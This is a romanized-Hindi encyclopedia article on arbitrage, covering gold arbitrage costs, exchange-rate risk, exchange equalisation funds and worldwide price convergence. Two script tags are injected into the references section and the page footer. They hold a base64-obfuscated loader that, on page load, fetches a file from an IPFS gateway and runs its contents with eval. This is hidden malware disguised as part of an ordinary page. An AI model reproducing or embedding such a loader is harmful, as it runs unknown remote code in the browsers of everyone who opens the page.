अंतरपणन
aantarapanan se tatpary hai- "kisi pratibhooti, vastu ya videshi vinimay ko saste bazar mean kharidana aur sath hi sath tez bazar mean bechana." isaka uddeshy vibhinn vyaparik keandroan mean prachalit moolyoan ke aantar se labh uthana hota hai. aantarapanan is karan sanbhav hota hai ki ek hi samay vibhinn bazaroan mean usi pratibhooti, vastu ya videshi chalan ke vibhinn mooly hote haian, aur isaka parinam samast bazaroan ke moolyoan mean samanata sthapit karana hota hai.
aantarapanan ke lie yah avashyak hai ki sandeshavahan ke shighr sadhan vidyaman hoan aur sanbandhit bazaroan mean turant hi adesh palan karane ka samuchit prabandh ho. aantarapanakarta chahe to pratibhooti, vastu ya videshi chalan bhej de aur badale mean avashyak dhanarashi manga le, chahe vah us rashi ko bazar mean jama rahane de, jisase bhavishy mean us bazar mean kray hone par vah kam a sake.[1]
svarn mooly evan vyay
sone ka aantarapanan karane ke lie yah avashyak hota hai ki vibhinn deshoan ke bazaroan mean sone ke mooly ki barabar janakari rakhi jae, jisase vah jahaan bhi sasta mile, vahaan se kharidakar adhik mooly vale bazar mean bech diya jae. sona kharidate samay kray mooly mean nimnalikhit vyay jo de jate haian-
- kray ka kamishan
- sona videsh bhejane ka kiraya
- bime ki kist
- paikiang vyay
- kaansuli bijak lene ka vyay
- bhugatan pane tak ka byaj
isake sath mean sona bechakar jo mooly mile, usamean se nimnalikhit mad ghatae jate haian-
- sona galane ka vyay (yadi avashyak ho)
- ayat kar aur ayat sanbandhi any vyay
- baiank kamishan
vinimay dar
in samayojanaoan ke pashchath yadi vikray rashi kray rashi se adhik huee, tabhi labh hoga. samanyat labh ki dar bahut kam hoti hai aur uparyukt anumanoan tatha gananaoan mean tanik bhi truti hone se labh hani mean parivartit ho sakata hai. isake atirikt do deshoan ke chalan parivartan ki dar mean, jise 'vinimay dar' kahate haian, ghat-badh hoti rahati hai aur usamean tanik bhi pratikool ghat-badh hani ka karan ban sakati hai. at aantarapanakarta ko uparyukt samast batoan ka jnan hona chahie. usamean turant nirnay karane ki yogyata aur bhavishy ka yatharth anuman lagane ki samarthy bhi honi chahie. itana hone par bhi kabhi-kabhi jokhim ka samana karana p data hai.[1]
vinimay-samakaran-kosh
videshi chalan tatha pratibhootiyoan mean bhi aantarapanan isi prakar kiya jata hai. videshi chalan mean aantarapanan bahudha do se adhik bazaroan ko sammilat karake hota hai, jisamean moolyoan ke aantar se paryapt labh uthaya ja sake. hal hi mean vibhinn deshoan mean vinimay-samakaran-kosh sthapit kar die ge haian aur unake adhikari vinimay daroan ko sthir kar dete haian. phalasvaroop aantarapanan se labh uparjit karane ke avasar pray samapt ho jate haian. pratibhootiyoan mean aantarapanan bahudha visham hota hai aur usamean jokhim bhi adhik hoti hai.
ekasaman mooly
aantarapanan ke dvara pratibhootiyoan, vastuoan ya videshi vinimay ke mooly sansar bhar mean lagabhag saman ho jate haian. anek aantarapananakartaoan ki kriyaoan ke phalasvaroop aantararashtriy bazar sthapit ho jate haian aur bane rahate haian, jisase kretaoan tatha vikretaoan ko bahut suvidha hoti hai. jahaan tak vastuoan ka sanbandh hai, aantarapanan ke dvara vastuoan ka niryat adhipoorti ke desh se abhav ke deshoan mean hota rahata hai, jisase avashyak vastuoan ka yathochit vitaran sansaravyapi adhar par ho jata hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 aantarapanan (hindi) bharatakhoj. abhigaman tithi: 08 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>